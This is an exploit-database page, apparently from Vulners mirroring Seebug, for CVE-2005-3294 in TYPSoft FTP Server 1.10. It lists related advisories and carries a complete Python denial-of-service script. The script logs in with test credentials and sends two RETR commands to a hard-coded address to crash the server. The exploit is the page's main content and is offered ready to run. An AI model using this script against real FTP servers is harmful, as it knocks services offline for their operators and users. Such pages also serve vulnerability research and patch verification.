Lucene search
K

TYPSoft FTP Server (v 1.10) RETR CMD Denial of Service

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 32 Views

TYPSoft FTP Server (v 1.10) RETR CMD Denial of Service CVE-2005-3294 OSVDB 19992 Emanuele Gentil

Related
Code
ReporterTitlePublishedViews
Family
0day.today
TYPSoft FTP Server (v 1.10) RETR CMD Denial Of Service
29 Dec 201000:00
zdt
Tenable Nessus
TYPSoft FTP Server Multiple DoS
9 Sep 200400:00
nessus
Tenable Nessus
TYPSoft FTP Server <= 1.10 Multiple DoS
14 Oct 200500:00
nessus
Circl
CVE-2005-3294
14 May 201000:00
circl
CVE
CVE-2005-3294
23 Oct 200504:00
cve
Cvelist
CVE-2005-3294
23 Oct 200504:00
cvelist
Exploit DB
TYPSoft FTP Server 1.10 - &#039;RETR&#039; Denial of Service (2)
29 Dec 201000:00
exploitdb
exploitpack
TYPSoft FTP Server 1.10 - RETR Denial of Service (2)
29 Dec 201000:00
exploitpack
NVD
CVE-2005-3294
23 Oct 200521:02
nvd
OpenVAS
TYPSoft FTP Server RETR CMD Denial Of Service Vulnerability
8 Jan 201100:00
openvas
Rows per page

                                                #!/usr/bin/python
#
# TYPSoft FTP Server (v 1.10) RETR CMD Denial Of Service
#
# CVE-2005-3294
# OSVDB 19992
#
# 12/23/2010
# (C) Emanuele Gentili &#60;[email protected]&#62;
#
# Notes:
# I have wrote this exploit because the code published here (1) do not work correctly.
# (1) http://www.exploit-db.com/exploits/12604/
#

import socket
import sys

user=&#34;test&#34;
pwd=&#34;test&#34;
buffer=&#34;\x41&#34;

print(&#34;\n TYPSoft FTP Server (V 1.10) RETR CMD Denial Of Service\n&#34;)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((&#34;192.168.0.109&#34;,21))
data = s.recv(1024)
print(&#34;[+] Sending user login...&#34;)
s.send(&#34;USER &#34; + user + &#39;\r\n&#39;)
data = s.recv(1024)
s.send(&#34;PASS &#34; + pwd + &#39;\r\n&#39;)
data = s.recv(1024)
print(&#34;[+] Sending first exploit stage...&#34;)
s.send(&#34;RETR &#34; + buffer + &#39;\r\n&#39;)
data = s.recv(1024)
print(&#34;[+] Sending second exploit stage...\n&#34;)
s.send(&#34;RETR &#34; + buffer + &#39;\r\n&#39;)
data = s.recv(1024)
s.close()

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.16885
32